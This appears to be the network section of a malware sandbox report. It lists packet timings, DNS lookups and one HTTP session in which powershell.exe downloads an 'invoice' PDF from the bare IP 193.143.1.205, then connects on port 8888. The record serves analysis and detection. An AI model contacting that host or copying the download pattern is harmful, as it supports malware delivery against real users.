Jan 11, 2025 04:04:51.666872978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666888952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666924000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666941881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666959047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666992903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667007923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.667027950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667062998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667083979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.667105913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667140961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667166948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.667196989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667232990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667243958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.667268991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667303085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667325020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.667357922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667391062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.667403936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.668076038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668112040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668128014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.668148041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668195963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.668199062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668237925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668282032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.668287992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668323994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668359995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.668389082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.673177004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.704979897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705058098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705096006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705100060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705132961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705148935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705173016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705208063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705239058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705245018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705281973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705290079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705318928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705353975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705363035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705389977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705425024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705437899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.705462933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.705507040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.708708048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708765030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708803892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708821058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.708841085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708884001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.708930016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708964109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.708998919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709003925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709036112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709073067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709080935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709214926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709252119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709261894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709290981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709347963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709374905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709409952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709458113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709542036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709573030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709608078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709623098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709645987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709681988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709686995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709717989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709753036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709762096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.709789038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.709836006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751108885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751157045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751214027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751216888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751250982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751287937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751342058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751369953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751406908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751414061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751441002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751476049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751486063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751533985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751575947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751586914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751622915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751657963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751667023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751693964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751729965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751735926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751766920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751806021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751820087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751837015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751878977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.751941919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.751976967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752012968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752022982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752048969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752083063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752094984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752119064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752155066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752170086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752193928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752238989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752299070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752561092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752594948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752613068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752629042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752667904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752680063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752701998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752736092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752752066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752770901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752805948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752815008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752840996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752876043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752886057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.752908945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752944946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.752952099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753108978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753144026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753153086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753180027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753215075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753225088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753249884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753284931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753292084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753320932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753356934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753382921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753395081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753426075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753438950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753700018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753735065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753746033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753772020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753802061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753822088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753837109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753870964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753884077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753906012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753946066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.753953934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.753981113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754015923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754030943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754051924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754087925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754098892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754127026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754170895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754287958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754323006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754358053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754369974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754393101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754429102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754436016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754462957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754498005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754504919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754534960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754569054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754579067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754604101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754646063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754647017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754676104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754719973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754883051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754914045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754949093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.754957914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.754983902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755019903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755024910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755054951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755089998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755095959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755148888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755194902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755614996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755650997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755686998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755697012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755774975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755826950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755831957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755867004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755902052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755911112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.755938053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.755984068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.773269892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.792335987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792414904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792453051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792479992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.792505980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792541981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792561054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.792576075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792613029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.792622089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796235085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796269894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796299934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796307087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796356916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796381950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796416044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796452045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796463013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796595097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796629906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796643972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796665907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796708107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796734095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796767950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796802044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796813011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.796837091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796870947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.796883106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.797012091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797041893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797060013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.797075987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797111034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797121048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.797144890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797179937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797187090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.797214985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797252893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.797261000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.837650061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840375900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840409994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840465069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840466976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840502024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840555906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840568066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840593100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840622902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840639114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840662003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840697050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840704918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840749979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840785980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840800047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840820074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840856075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840864897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.840890884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840928078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.840935946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.884515047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.106950045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.236172915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.600434065 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.605389118 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:52.605500937 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.605650902 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:52.610464096 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:53.380213022 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:53.431407928 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:53.662610054 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:05:05.617146969 CET	57749	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:05:19.354132891 CET	54877	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:05:31.775852919 CET	64005	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:05:05.617146969 CET	192.168.2.5	1.1.1.1	0xecd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:05:19.354132891 CET	192.168.2.5	1.1.1.1	0xd821	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:05:31.775852919 CET	192.168.2.5	1.1.1.1	0x358b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 04:05:05.626120090 CET	1.1.1.1	192.168.2.5	0xecd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:05:19.361449003 CET	1.1.1.1	192.168.2.5	0xd821	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:05:31.782807112 CET	1.1.1.1	192.168.2.5	0x358b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:04:50.260848999 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:04:51.202635050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:04:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 